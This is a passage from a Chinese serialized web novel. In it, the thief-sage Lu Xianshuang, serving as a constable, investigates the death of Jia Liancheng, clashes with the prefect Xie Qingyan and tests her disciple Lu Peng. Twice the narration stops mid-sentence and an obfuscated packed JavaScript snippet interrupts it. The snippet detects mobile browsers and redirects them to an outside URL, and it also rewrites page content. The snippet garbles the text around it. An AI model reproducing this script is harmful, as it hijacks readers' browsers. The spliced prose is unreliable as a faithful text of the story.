当初贾连城带回来一个姨娘怀孕的时候她还曾经难受过,那会儿贾连城是怎么说的呢,“夫人你放心,只要你好好的,就一直是我贾家的主母,所有孩子都要叫你一声母亲。” 当时叶蓁就想反手给他一个嘴巴子,贾连城是不是忘了他赘婿的身份,姨娘生孩子的时候是在夜里,她扭头看向贾连城的时候像是在看一个披着人皮的怪物,不要脸,无耻,没有人类本该有的任何美好品质。 那天她突然就放下了,不为难自己。 从前她总问自己为什么是自己,为什么偏偏是她受到伤害,但是那天在贾连城的无耻之下她突然就明白过来,有些人生来就是如此肮脏龌龊,不必探究对方为什么伤害自己,就像不必质问毒蛇为什么会咬人一样。 毒蛇咬人很正常,恶人害人也很正常。 她当场冷了脸转身就走,立马绝了要和他生孩子的心思,当天夜里将所有财产全部清点明确之后存在一个只有自己知道的地方,至于布庄账面上只剩勉强能够周转的银子。 第二天一早姨娘生了一个儿子,贾连城意气风发去布庄,直到再也支不出钱之后在别人面前丢了脸,愤怒于叶蓁竟然敢“动他的银子”,赘婿身份重新重见天日,之后气势汹汹回来扇了叶蓁一巴掌。 至此之后殴打她便是家常便饭,但贾连城除了布庄和里面的布料之后再也动不了别的东西。 时间久了富安府也流传出叶蓁不能生的传闻,每每如此贾连城都会在外面露难色,又连连推拒旁人送来的良妾,“夫人心善,见不到良家女子为妾,我只为她买两个贱籍女子,既是帮助了对方,也有人陪着夫人解闷。” 贾连城话说的道貌岸然,实则被他买回来的花魁、落难女子、或被卖的女子,接二连三有了身孕,外界却浑然不知,只说她叶蓁果真好命,摊上这么老实的一个丈夫。 “既然你能够动用银钱,为什么当初会服从叶老爷子的意见找个男人入赘?”陈明看了她一眼,只觉得前后矛盾,要知道大盛朝并不禁止立女户,就算还有族人,只要家中还有一个女儿,财产就落不到外人手里。 叶蓁慢条斯理端起茶盏呷了一口,往陈明脸上看了一眼,见他也在喝茶,露出一个看好戏的笑:“陈大人,我本名应该叫谢蓁的。” “你说什么?”陈明如她所料,一口茶喷在地上,整个国字脸所有边边角角全部写满了四个大字:不可置信。 “你说你爹,叶老爷子也是入赘的,而且没有等到三代还宗就直接把你的姓给改了?”如果家产是属于叶蓁,不是,谢蓁她亲娘谢夫人的,这一切就解释通了。 叶老爷子不愿意自己奋斗的一辈子的财产留给女儿,但他又没有处理财产的权利,这才在临死之前给谢蓁找了一个麻烦。 “可是不对呀,赘婿入赘前通常需要签订书面协议,主要涉及财产归属、家庭责任、子女姓氏等核心条款,就连男子都要改成女方的姓氏,为什么你们母女二人被如此擎制?” “这就要问谢知府之前的那位李知府喽,他可是收了叶老爷子好多孝敬,可惜喽,他老人家前脚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860642|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擅自改动入赘协议,后脚就被谢知府顶了包,说来我还要感谢谢知府,如果不是他,可能叶老爷子在发现自己没有任何处置银钱的时候就要把我溺死了吧。” 谢母不愧是女中豪杰,该果断的十分果决,几份遗书遗产分别发给富安府所有生意上的伙伴,如果有一日谢蓁意外身亡,那么她名下所有的财产全部捐给衙门。 这么狠戾的手段一下震慑住叶老爷子,尤其在新来的知府谢清晏油盐不进之下,他更是老老实实不敢有任何异动。 “所以,贾连城严格来说是叶老爷子临死临死之前给你添的堵?”陈明不放过谢蓁脸上每一个表情:“自从我进门到现在,你都没有问过我贾连城是怎么死的。” 谢蓁神色如常,“死都死了,怎么死的重要吗,就像我之前说的那样,作恶就是作恶,理由不重要,我知道今天是该庆祝的一天。” 谢蓁油盐不进,陈明也拿她没办法,尤其是陆衔霜回来之后,从丫鬟们口中确定谢蓁三天前,包括这两天,一直都待在家里没有出去过的事实,他有些没招:“我需要询问贾连城的小妾一些话。” “可以,需要我给你找几间屋子,把人分开询问吗?” “有劳。” 经过陈明和陆衔霜的一番询问,这群命苦的女人们都对夫人赞不绝口,至于老爷的去向,她们表示老爷经常不在家,就算在家,也从来不去夫人的院子,回答一致,暂时没有疑问。 离开谢家的院子,陈明也没想到短短几个时辰,这座小小的院子在他嘴里就换了三个姓氏,肮脏的男人,真给他们男人丢脸。 马上就到了下职的时候,“走吧,回家让你婶子炒两道菜咱爷俩喝点?”陈明准备带着陆衔霜翘班。 陆衔霜一言难尽,“陈叔,之前是谁让我好好表现的?”现在距离下职还有半个时辰,这就跑啦。 路边时不时有马车驶过,陈明摸了摸鼻子有些尴尬望天,“那什么,反正你医术都这么好了,有的是人上门求,太乖巧容易被人拿捏住。” 陆衔霜懂了,没有特长的时候要乖巧,有优点之后再听话容易被人看轻。 陈明是真的拿她当侄女看待,这点陆衔霜就不懂了,那他为什么没有认出来自己不是原主呢? 她敢肯定,在自己的世界阎墨那厮保管第一眼就能察觉到不对劲。 想到好朋友,陆衔霜有些蔫哒哒的,谢绝陈明的邀请,只说改天再去看望婶子,一个人停在距离谢蓁家不远处的院子外。 原主年幼失孤之后被一位人美心善的夫人出钱资助生活,苏慈筠实在是一位非常美好的女性,陆衔霜从原主的记忆中看到那位夫人每次见到她都会温柔的关心所有,将她的生活在父母去世之后照顾的十分周到,整个苏宅的下人都称呼陆衔霜为大小姐。 当初苏夫人要收养她,可惜陆衔霜不愿意离开养父母的家,苏慈筠只能遗憾放弃。 说来她和谢蓁还有点像,都是招赘,但她的运气显然没有谢蓁的好,拜佛途中雨湿路滑,跌落山崖,尸厥一年,天干物燥,遗憾去世。 黄昏中的苏宅朱门斑驳,陆衔霜按着腰间的长刀怔怔出神,为什么好人总是不长命呢。 青石板上忽然传来一阵急急地脚步声,一个梳双鬟的丫鬟提着花篮匆匆而来,一开始看到门口不远处站着一个人的时候蹙着眉的,待看清人影是陆衔霜之后却蓦地亮了眼睛:“大小姐!真是您回来了!” 自从夫人去世之后,苏宅很久没有人上门了。 “采荷?”陆衔霜指尖在刀柄上摩挲,原主记忆中的小丫头,每每她来,对方都是十分热情高兴,应该夫人会开心,她也就开心了。“苏夫人若在,我定要讨盏茶喝。”天还没完全黑,檐下灯笼已经亮起,晃得她眼瞳忽明忽暗。 “您又说这话。”采荷绞着帕子往门里让,陆衔霜却始终站在门口没有动,她不是原主,就不去这位苏夫人的院子打扰了,“夫人临终前还念叨您爱吃的蜜渍梅子^”话音戛然而止,两人同时露出一脸悲怆。 “改日吧。”陆衔霜掸了掸靛蓝公服上并不存在的灰,抹了把脸要走,她还得赶紧把陆鹏找过来问问究竟是怎么回事。 采荷忽然凑近半步:“您这身打扮……可是衙门出了事?” 陆衔霜想了想这没什么不能说的,“贾连城死了。” 花篮"啪"地撞在门框上,采荷盯着她眼尾那颗痣,轻声道:“贾掌柜与我们老爷……可是非常要好的朋友关系。”夜风卷着半片枯叶,正落在陆衔霜靴尖前,她低头和采荷对视良久,在她眼中看出意有所指,和很快消失不见,几乎让人以为看错的孤注一掷的疯狂。 8. 第 8 章 陆衔霜给采荷留下话,让她有事去找自己,之后便和她告别,悄无声息走到角落中,无影狸隐没在夜色中,犹如一阵风吹过,眨眼间人已经到回到了小院屋顶下。 四处打量,屋顶已经被修好,房子也加固装修了一遍,院子里面收拾的整整齐齐,之前被她用作考验陆鹏的蛛丝已经被这个笨蛋全部破坏掉,铃铛堆在脚边,他则坐在门槛上巴巴往门口看去。 陆衔霜差点没笑出声,这个场景怎么说呢,如果忽略掉石桌上陆鹏提前准备好的饭菜,他现在这个样子和别人家等娘亲回家的老大儿没有任何区别。 不过徒弟也算儿砸,虽然这货手脚不利索,很大可能一辈子都混不到个神偷的名号,但好歹脑瓜子好使,又能拉得下脸侍奉,最重要的是他有眼光,能找到自己这么厉害的盗圣死乞白赖做师父。 陆衔霜叉腰得意哈哈大笑,惊得陆鹏一个屁股蹲坐在地上,仰头看过来,脸上愤怒很快被欣喜代替,扯着嗓子挥手:“师父你回来啦。” 有水平的人就是不一样,连回家都这么不同凡响,脚步声一点都没有,好像猫似得。 陆鹏急忙起身倒茶水,准备碗筷,等一切放好站在旁边准备侍奉师父用饭。 陆衔霜打了个哆嗦,怀疑自己是不是不能自理,一脚踹过去,陆鹏这厮竟然没躲,硬生生受了。 陆衔霜…… 没好气:“坐吧,我还没到七老八十。” “师父就是师父,和年龄没关系,做徒弟就是要精心师父,像奉养父母那样……” 陆鹏一本正经的话还没说完就被陆衔霜不耐烦打断:“好了,你再说下去就该聊到徒弟要给师父养老送终摔盆子的话题上了,咱俩这个年纪差距,师父我不介意黑发人送白发人。” “问你点事儿。”陆鹏刚坐下,陆衔霜突然想起什么,笑嘻嘻往桌子上放了一个桃花发簪,惊得陆鹏蹭一下跳起来,吧唧跪在地上的时候还不忘把发簪拿走:“师父,有什么不满意您说,怎么好端端的把您徒弟媳妇的发簪拿走?” “你可真不要脸,人家桃花现在还不是你媳妇儿。” “早晚都是,现在在我心里也是,我是个没用的,但是不可能永远都没用。” 陆鹏深知自己不是个好东西,既没有读书的本事,也没有做生意的天赋,但他脑子灵活玩得开,从前做小绺的时候已经能把日子过的不错,他相信今后在师父的调教下还能更上一城楼,总有一日会成为整个大盛朝贪官的克星。 其实这事儿他误会陆衔霜了,今天去谢宅纯属巧合,但桃花也在那儿,虽然两人之前互不相识,但她从徒弟嘴里听过一嗓子,见面的时候没忍住蠢蠢欲动的手,顺手嘛,顺了一个簪子回来逗逗他,哪知道这小子一把年纪还这么容易上头,还没吓唬呢就给她跪下了。 陆衔霜摸了摸鼻子,指着石凳:“别动不动就跪,来说正事。”平地惊起一声大雷:“你知道贾连城三天前已经死了吗?” “不可能,咳咳咳!”陆鹏刚放下心,给陆衔霜倒了一杯酒,自己啃着香辣卤牛肉吃的高兴,一个没留神被她突然的话把汁水呛到喉管中,一时之间鼻腔里全是辣椒卤水的味道,十分难以形容,整个人从悚然一惊的表情直接定格在原地,僵硬着看向陆衔霜。 两天前他明明见过贾连城的,如果他真的三天前死亡,那自己见到的究竟是谁,或者,是人吗? 全身汗毛竖起,鸡皮疙瘩遍布每一寸皮肤,陆鹏嘴巴开合说话的时候还能闻到鼻腔里香辣卤水牛肉的味道,吞咽口水,拿着碗筷从对面坐在了陆衔霜身边:“师父,你说我该不会是撞鬼了吧。”声音带着哭腔,眼眶湿润起来。 “看你那点出息。”陆衔霜嫌弃地往旁边挪开,陆鹏怕的不行,紧接着又跟上,生怕一晚上的时间都耽搁在这儿,陆衔霜只能默默忍了,“仔细说说那天的情况。” “就是……两天前嘛,我想着借点替罪银,摸黑进了贾连城家,先去桃花院子里看了眼她和闺女,然后去贾连城的书房转了一圈。”说到这陆鹏没忍住撇撇嘴,“也不知道他个大老粗修建书房干嘛,认字儿么就装。” “继续。” 陆鹏一个激灵支棱起来,接着回忆:“从贾连城的书房里差不多拿了八十多两银子,然后不够,除了贾连城他婆娘和桃花的院子没动手,其他院子都去了,只有在那个叫秀秀的姨娘屋子里找出来三十多两。”啧啧两声,有些不知道该怎么形容:“师父你说贾连城那么有钱,怎么姨娘手里却没几个子儿呢。” “切,□□要给钱、绣花要给钱,做饭也要给钱,只要当了姨娘,这一切都是免费的,你说呢。” “你在哪儿看到的贾连城?” “先是他从书房出来,我进书房拿钱,然后去那个叫秀秀的姨娘那儿,就一会儿的功夫,他俩就干上那事儿,动作还挺快,要不然我也没机会动手。”自己多大本事他心里有数,要不是当时院子里没人,屋里他俩动静又大,借银子的响动还真不一定能瞒得住。 油灯在青砖地上投下两道交错的影子,陆衔霜突然窜上树,不一会抱下来一个包袱放在桌子上,“你说在秀秀姨娘窗外听见动静……可看清了那男人的脸?” “黑灯瞎火的谁看得清!”陆鹏探着脑袋往前面看,银锭在桌面叮当作响,“后宅除了贾连城那个老王八,还有哪个男人能进……” 话音戛然而止,陆鹏突然想起一件事,“前年的时候我曾经听说贾连城的府邸有个马夫暴毙,尸体就是从秀秀院后的枯井里捞出来的。” 当时他们还偷笑过贾连城被带了绿帽子,要不然人怎么会从他姨娘的院子拖出来,几人曾凑在一起打赌几天会发卖妾室,结果等了好久也没等到消息,他们还以为自己想错了。 如果不是今日突然提起不对劲,他还想不起来前年发生 “为什么不报案?”陆衔霜并没有在卷宗上看到这个案件,人死了是要仵作查看的,但她和陈明去询问的时候根本不知道这件事情。 “怎么可能不报官,这么大的事情贾连城一个没根基的怎么能瞒得住,肯定是马夫是自然死亡呗。” 陆衔霜不信,但是卷宗里面确实没有这个案件,而且陈明在路上也并没有说过这件事。 这其中有人隐瞒了一切,还是在谢清晏这个明显来头很大的人眼皮底下。 院子外的老槐树沙沙作响,二人耳边仿佛听到那夜秀秀姨娘娇滴滴的嗓音:“死鬼~老爷明日要去沧州……” “所以那晚在秀秀房里的……陆鹏喉结滚动,冷汗浸透了中衣。远处传来打更声,三长两短,与平日截然不同。 陆衔霜突然抓起斗篷起身:“贾连城早在三天前就死了,这两日根本不可能在府里。”她指尖划过桌上银锭的官印,烛火下“禄德三十八年”的字样清晰可见——正是马夫失踪那年的新铸官银。 禄德式老皇帝的年号,之前听谢清晏和崔青锋说,禄德三十八年老皇帝突然病重,四王势力陡然大增,同时也是这一年新铸的官银,同年陆林和顾岩先后去世。 这六年中,富安府究竟发生了什么。 官银主要用于税收、军饷及大宗官商交易,后来当朝有官员主张将官银推进民间交易链条,通常这种情况官银很快就会被分割。 小小的一个赘婿贾连城书房里为什么会有六年前的官银,并且成色还很新。 那官银真的是贾连城的吗,还是秀秀屋里那个不知名的男人,他究竟要干什么,又为了什么? 陆衔霜感觉自己被骗了,大晚上去衙门砸开谢清晏的门,连声质问,她也是之前才想起来,全程到位别说贾连城的尸体,就连他的死因都不知道,然后就被派出去查案。 谢清晏睡的正香被砰砰的砸门声吵醒,一瞬间还以为有人来追杀自己,打着哈欠横了侍卫一眼,出门还没来得及生气,就被陆衔霜质问的声音噎的无话可是,侧开身子示意她进来。 陆衔霜可没有丝毫面对上官该有的礼仪,路过谢清晏身边用力把他撞开,自己率先坐到椅子上依着,闲庭漫步,好像回到她家一样。 “上茶。”谢清晏好悬被侍卫扶住才没摔倒,没好气拍了他一下转身跟了上去。 侍卫委屈巴巴去倒茶,路上怎么都想不通自己为什么会没有听到陆衔霜的走路的声音,这人别是猫妖成了精吧? 侍卫上了茶,还想问一问陆衔霜是怎么做到走路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868441|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有声音的,就被谢清晏赶出去。 没了耍活宝的家伙,屋内两人神色都不太好,谢清晏是没睡好头疼,至于陆衔霜则简单的多,她感觉自己被当成出头的搋子。 “贾连城的怎么死的,今天那么多捕快,你为什么偏偏要我去?” “同行的不是还有陈明,哪里只有你一个人。”谢清晏慢条斯理呷着茶,嘴角还噙着笑,仿佛在面对一个不懂事胡闹的小孩一样充满了包容,陆衔霜恨不得一拳头捶在这个笑面虎脸上。“你知道我说的不是这个意思,为什么偏偏是我,贾连城的死绝对没有那么简单!” “陆捕快,你这话就不对了,在我们衙门人的眼里,案件无大小,百姓高于天,你怎么能因为案子的复杂就这般浮躁呢?”谢清晏如同长者一般满是关怀的目光注视陆衔霜,“看在你为了案子辛苦奔波的份上,作为你的上官,这次就不罚你了,以后好好当值,记住,百姓的事情无大小。” “你上辈子是个麻袋吗,这么能装。” “你说什么?”突然被骂,谢清晏一瞬间还以为自己听错了,掏了掏耳朵,结果陆衔霜又重复了一遍,这下他彻底脸黑了。 陆衔霜才不管他心情怎么样,比连发弩还要密集,一个问题接着一个问题将谢清晏逼到绝路上。 “贾连城的死、马夫的坠井、六年前新铸的官银,你让我去,是因为我的父母在新铸官银同一年离世,你知道什么?” 陆衔霜步步紧逼,谢清晏却猛地收起一贯挂在脸上的笑,一丝错愕飞快闪过:“什么马夫坠井?” “麻袋精!” “我真的不知道!”谢清晏捂脸,他也没想到胡说八道的回旋镖这么快扎回来,显然现在再解释也不被陆衔霜信任,更何况这个小家伙一点就炸,现在拍桌子瞪眼,一点都不知道尊老爱幼。 谢清晏还打算忽悠,万万没想到陆衔霜竟然会掀桌子,不知何时他腰间玉佩变成了半截麻绳,绳头还打了一个嘲讽的笑脸,陆衔霜一只脚踩在椅子上把帽子往桌上一甩:“不干了!” 对,就该是这样,她一个盗圣整天在衙门堆里混像什么样子,还百姓大过一切,扯淡,她不偷他们就算好的了,还想让她为百姓服务? 再和蔼可亲的脸一旦变化,也十分可憎,别看他们现在好像很平常的一样,拧成一股绳之后恶意疯长,那两个人不就是如此死在这群刁民手中的么。 陆衔霜顷刻间收起所有混不吝的气息,无声将佩刀和令牌放在桌子上,袖口上的沾着一块暗褐色的污渍,她双手抱拳,声音低沉近乎于无声:“到此为止,这几日有劳您费心了。”瞬间收起尖刺,行事成熟周到,不给人落下一点话柄。 眼看她来真的,谢清晏傻眼了,硬忍着心底焦急还若无其事呢:“你别闹了,我是真的不知道你在说什么,就是一个简单的命案,可能陈明没有和你说清楚呗。”事实上陈明也没见过贾连城的尸体,他从哪告诉陆衔霜去。 “草民祝谢大人仕途亨通,青云直上。”谢清晏跟着陆衔霜起身,暗自感叹这下要遭了,就听到她头一次这么有礼貌,“您留步。”接着窜进黑夜中,看不清楚按照什么路线跑的,总之在几个房顶上略过人影之后,很快淹没在夜色中。 “怎么不按常理出牌?”谢清晏呆呆看着黑漆漆的天际,脸色扭曲,错愕非常。 暗处侍卫幽幽说道:“她像个江湖中人,我还是没能看清楚她究竟怎么离开的。” “现在是说这个的时候吗?崔青锋呢,让他过来见我!” “大人你是不是忘了,崔大人中毒还没醒,”侍卫在谢清晏越发难看的表情中默默换了一个相对婉转的说法:“不过您别担心,毒也是陆衔霜解,总有能见面的时候。” “你觉得她说撂挑子就撂挑子的混不吝样,像是个信守诺言的主吗?”这一刻,谢清晏终于明白秀才遇上兵这句话其中的悲愤了,不是,这样对吗? 按照常理,不是应该你来我往一番,然后各自亮出一个能够进行交换的角,再继续试探,才小心翼翼互相交换一些信息和把柄。 结果陆衔霜完全不是,得不到答案直接掀桌子不玩了,你这样让我提前的铺垫怎么办?! 9. 第 9 章 第二天,陆衔霜果真没来,原本以为她和自己开玩笑的谢清晏当场炸了,“来人。” 侍卫从暗处走出来,还是昨晚的那个,谢清晏一愣,没好气冲着他随手扔了个东西过去:“看我热闹是吧!”这个时间他该回去睡觉了,出现在这儿用脚指头都能猜到是什么意思。 侍卫接过大人随手抛来的玉佩,顿时眼冒精光,一脸财迷塞进怀中,随意糊弄着打了个打佥,一脸窃笑:“有事儿您吩咐。”下次有这种好事儿多来点。 “你……算了。” “不去把陆衔霜给您绑来吗?” “你不怕她下黑手的话就去吧。” “那算了,来无影去无踪,真要杀我,我都躲不了。”侍卫撇撇嘴翻出去和兄弟换班,留下谢清晏感觉被打了秋风,一个人在桌前凌乱。 好半天才笑骂一句:“都是些什么人呢。” 陆衔霜,谢清晏头一次发现自己过往的经验在她身上全是空话。 捕快的月俸只有二两,不是官,也不是吏,而是役,和这个字组成在一起的词语通常是衙役、徭役、服役、赋役。 养家糊口勉勉强强,又很多捕快游走在灰色地带,赚一些脏钱。 谢清晏都知道,但是他不在乎,只有手下的人好用就行了,才不管他们人品如何。 但是陆衔霜她,完全无法用言语形容的一个人,什么高官厚禄,皇帝王爷,在她眼里就是屁。 说不干就不干,说掀摊子就掀摊子,一点准备都不给别人,也不给自己留一点退路,像极了江湖上叫嚷着脑袋掉了碗口大个疤的乡野莽夫! 谢清晏坐在桌前使劲搓脸,他现在对自己有些产生怀疑,不光是这张脸,还有计谋和脑子,全无用武之地。 想当年自己在望月台时状元游街,整条街全被大姑娘小媳妇堵得严严实实,多少人只为看自己一眼花就重金包下酒馆茶楼临街的厢房。 他仔细想了想自从认识陆衔霜短短三天的时间里,她好像每次看到自己这天生的笑脸就十分嫌弃的样子。 不是,她凭什么? 一个小捕快,竟然敢如此嫌弃本大人。 一向无往不利的脸被嫌弃也就罢了,人家明摆不和你玩了,不说别的,厉绝禅那厮的大夫还没派过来,眼下能救崔青锋小命的人只有陆衔霜。 现在陆衔霜撂挑子不干了,她还会过来救治崔青锋吗?万一崔青锋再也醒不过来,想到这儿谢清晏急忙起身往外走去,正好和杜七杀碰面。 “谢大人大清早您这是去儿视察啊。”杜七杀还不知道世事无常,看谢清晏一脸焦急准备看笑话呢,下一秒就笑不出来了。 “陆衔霜不干了,今天压根没来。” “为什么?”杜七杀一蹦三尺高,陆衔霜不干了?她不在大人和梅花的身上的毒怎么办。 一脸狐疑盯着谢清晏:“不会是您干嘛了吧?” “奇耻大辱,惊天冤案,我有老婆孩子,能对一个黄毛丫头干什么?” 杜七杀不言不语,一脸我看你怎么编。搞得好像他很正直一样,从前没少借着皮肉好看让别人行便利,结果事后翻脸不认人的渣男不是你吗? 谢清晏:“咳咳,那什么,年幼无知,后来我改了不是。再说那是她们愿意。”你情我愿的事情别搞的这么严肃好吧。 “呵,你改了?我好像记得是因为某些人被千金小姐们联手做局,好一通折腾之后才改的吧?” 越说越离谱,明明是控诉陆衔霜不负责任,怎么把话题引到他身上。 为了避免杜七杀继续掀老底,谢清晏很快败下阵来,但他确实没干什么,昨晚的情况放在任何一个官场上的人都不觉得哪里有问题,话不就是用来谈的嘛,你来我往互相试探合作,这不是一件很正常的事情吗? 直来直去的是莽夫,就连能做到将军位置的莽夫,脑子里的路线还三路十八弯呢,她一个混三教九连的人怎么这么没有耐心。 “案子我有隐瞒,你知道的,她……行事太肆意,我不敢放手一搏。”谢清晏无奈摊手,眉头深的可以犁二两地,他们已经习惯了下达命令,手下的人听令照做这种模式。 但是陆衔霜他每天都会给人惊喜,脑子、身体、职业、自由、灵魂,都属于她自己,会自己思考,会权衡利弊,也会随心所欲,更有一项旁人代替不了的手艺,能够让她立于不败之地。 至于谢清晏一瞬间想过能不能用非常规手段逼她就范,几乎这个念头刚升起就立马被掐断,无他,陆衔霜功夫极好又擅毒,心眼小爱记仇,如果不能一击即中将她压制住,只要让她找到一点机会,就会迎来疯狂的报复。 不值当,拉拢人才和打压对手一样需要因材施教。 还是要以怀柔为主,谢清晏很快针对陆衔霜独有的性格转变拉拢方针,很快又精神抖擞起来,拍了拍杜七杀的肩膀谆谆教导:“七杀啊,遇事别急,这人呐,只要活着就是弱点和欲望,青锋的事情你放心,我绝对不会让他出事的。” 说罢挥挥衣袖飘然离开,压根没到杜七杀满脸写满一言难尽。 既然已经没猜到人家的性格,现在装什么智珠在握,谢清晏这厮指望不上,还得看他。 杜七杀转身去大人房间搜刮宝贝,甭管什么时候,送礼总没错。 这年头送礼能送到别人心坎上也是一种能力,杜七杀并不知道陆衔霜什么都不喜欢,她想要什么都可以得到。 此刻正一脸嫌弃看着陆鹏捧着百纳囊和露出里面一截玉的成色恭敬立于塌前,还挺得意:“师父,您看着鸳鸯玉雕怎么样?我知道送这东西给您不合规矩,但它是我手里唯一能拿的出手的拜师礼,您不喜欢卖了就行。” 陆衔霜眼皮都懒得抬起来,挥挥手让他收回去:“拿回去给桃花当聘礼吧。”脑子也不知道怎么长的,人家桃花都生闺女了,还一脸荡漾等人家。 想到秀秀和那个不知名的男人,陆衔霜蹭的一下坐起来,“陆鹏,我记得你昨天说起桃花闺女的时候说的是你闺女,那孩子……?” 陆鹏当即被她“不干净”的想法震得瞪大双眼,要不是眼前的是人是师父,他能打起来,急忙练练摆手:“师父这话你可不能瞎说啊,桃花的闺女自然是她和贾连城生的,我和桃花之前清清白白什么也没做。但我把她闺女当我亲闺女,如果我再有用点,早就把桃花带回家了,哪里轮得着贾连城。” 当初桃花在楼里的贾连城花了大价钱去看她,却什么都不忍心做,只抱着她能让她睡个安稳觉,后来她被贾连城赎走之后,就更不能做什么了,万一被贾连城发现,他能跑,但桃花怎么办,只能被打死。 他现在只想多和师父学本事,然后赚大钱把桃花赎出来当个良民,当个堂堂正正的人。 说起这个,陆衔霜有些好奇,“你能那么精准的找到贾连城放银子的地方,桃花帮了不少忙吧?” 陆鹏行窃的手法和眼力劲是真的很垃圾,她实在没法相信他一个人能在没有外人帮助的前提下能那么精准的找到银钱,其中还有一枚五十两的官银混在其中,成色如此新。 贾连城一个赌狗,真的能够忍住有银子不拿吗。 说起桃花,陆鹏的话简直说不完:“桃花可心疼我了,一听说我要拜师拿替罪钱,立马替我想办法,告诉我书房和秀秀院子的位置,说她那儿有钱。” “那她知道你拜师的人是谁吗?” “当然了,当天我被师父你反偷回去之后桃花就知道了,说来师父你的身份还是桃花托人帮我打听的。” 陆衔霜终于睁开一只眼睛,撇了撇陆鹏得意的脸,有点没眼看,这个蠢货,不光是他,就连自己也被对方利用了。 她突然翻身坐起,想说点什么,在对上陆鹏那双真挚的眼睛时却什么都说不出来,也是邪了门了,这么一个偷东西的贼竟然心思澄明到这种地步,那 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殊不知这正是陆衔霜从前世界的规矩,大家心照不宣,徒弟惹了事第一时间找对方师父,双方长辈之间划条道,免得小辈不懂事误伤了和气,也是为了小辈的安全着想。 和兄弟们喝完酒之后陆鹏趁夜赶往城外的关帝庙,他刚进门,就被师父坐在关公老爷旁边的姿势惊了一下,这咋还一只脚踩在供桌上,扭头一看,嗯,供桌上十个金锭快要闪花眼,这个诚意足。 “今儿个是拜师仪轨第二步,跪下。”陆鹏应声跪在关公也面前的蒲团上。 月光将关帝庙的短刀染成暖黄色,陆衔霜突然甩出三枚铜钱钉在陆鹏跪着的蒲团前,铜钱入地三分:“这一关,我要问你三件事。” “第一问——”她指尖轻抚关帝像残缺的刀刃,“若我要你偷赈灾粮,你当如何?” 陆鹏咽了咽口水,想到自家师父从衙门不干回家的事情,抬头直视:“徒儿会先偷了师父的钥匙,再把粮仓钥匙挂你腰间。” “错!”陆衔霜突然又甩出三枚铜钱,略过陆鹏的头顶,直直钉入他身后的柱子里。 “盗亦有道,偷官不偷丧,劫富不劫病。倘若见到孤儿寡母兜里只剩买命钱,你得倒贴三两银子,因为我们来前容易。” “可赈灾也是官。”陆鹏不解。 “可赈灾赈的是灾民。”关帝庙的烛火随风一晃一晃,陆衔霜有一瞬间失神,很快恢复如常,又是三枚铜钱突然飞向供桌上的酒坛:“第二问——倘若你失手被擒,又该如何?” 陆鹏突然懂了,上前膝行两步接住铜钱,嬉皮笑脸:“那我就求他们让我再给师父敬一杯酒。”说罢仰头将酒灌入口中,低头的瞬间没忍住皱了下眉头,也不知道师父一个小姑娘是如何喝的下辣喉的烧刀子。 香炉里三支断香突然无风自燃,陆衔霜的声音混着烟雾飘来:“最后一问——为何偏要拜个贼祖宗?” 第三问不光是拜师的流程,还是陆衔霜自己的疑惑。 陆鹏重重叩首,青砖裂开细纹:“因为您是唯一一个发现我行盗却没有动手的人,不瞒您说,当日我是想回去找您麻烦,却在看到您为了柳婆婆把漕帮的小混混揪出来,后来还去牢里废了他,这个世道不让人活,我在您身上看到了活下去的希望。” 他不明白一个捕快为什么偷东西的手段如此莫测,也不明白一个老荣为什么要为百姓做主。 但是那一刻,好像突然看到生活的意义,那是一种长时间在黑夜中行走,遇到同道中人提着一盏灯的欣喜,是不是他有一天也可以如师父那般光明正大行走在眼光之下,受人爱戴。 供桌上关刀突然坠地,铮鸣声中,陆衔霜将铜钱扔进他掌心:“明日卯时,带上你手里的铜钱,来换偷我枕头下的刀谱。” 陆鹏不由得苦笑,以他的能力,估计刚进院子就被发现了。 10. 第 10 章 卯时的晨雾还凝在窗棂上,陆鹏已攥着那枚被掌心汗浸透的铜钱立在师父房前。 铜钱边缘的"永乐通宝"四个字硌得他生疼——昨夜他就着灯油翻来覆去看了整宿,终于在字缝里发现用针尖刻的"风"字。 事实上他刚推开院门听到一声铃铛响时就暗道不好,来的路上思考过无数种翻进院子的方式,他觉得从哪进都会被发现,索性直接大大方方从门口走进来,也算是出其不意。 谁知道借着微光往院子里一瞅,好家伙,师父是一点路都没给他留,密密麻麻堪比蜘蛛洞穴的蛛丝几乎快要把院子淹没,除非他有师父那两下,否则怎么走都是一个死。 行动失败,陆鹏站在院子里垂头丧气。 谁料门吱呀一声自开,他抬头看去,只见陆衔霜散着长发倚在榻边,紫色外跑下露出半截泛黄的绢册。 她指尖一挑,那铜钱便凌空飞起,在朝阳里划出金线:“可看清钱纹里的玄机了?”见陆鹏点头,突然将绢册抛向房梁:“踏雪无痕借风之势,接不住这《踏雪无痕》,你就还是回家吃自己去吧。” 陆鹏纵身时,铜钱却从陆衔霜袖中激射而出,正打在他膝窝要穴,跌落的瞬间看见绢册飘然展开,密密麻麻的批注间竟夹着丝丝暗红色的污渍——那是陆衔霜幼年时期数次受伤之后想要放弃时候留下来的。 真迹自然还在大禄朝,大盛朝的这本是她夜里想家时做的赝品,为了拟形求真,她按照记忆中被爹爹揍了之后糊上血渍的位置添了上去,虽然她挨揍了,但爹爹也没讨着好,连着几天被娘亲扎针,动不动就中毒,最后爹爹实在没办法了,给了她好多宝贝求和,这事儿才算完。 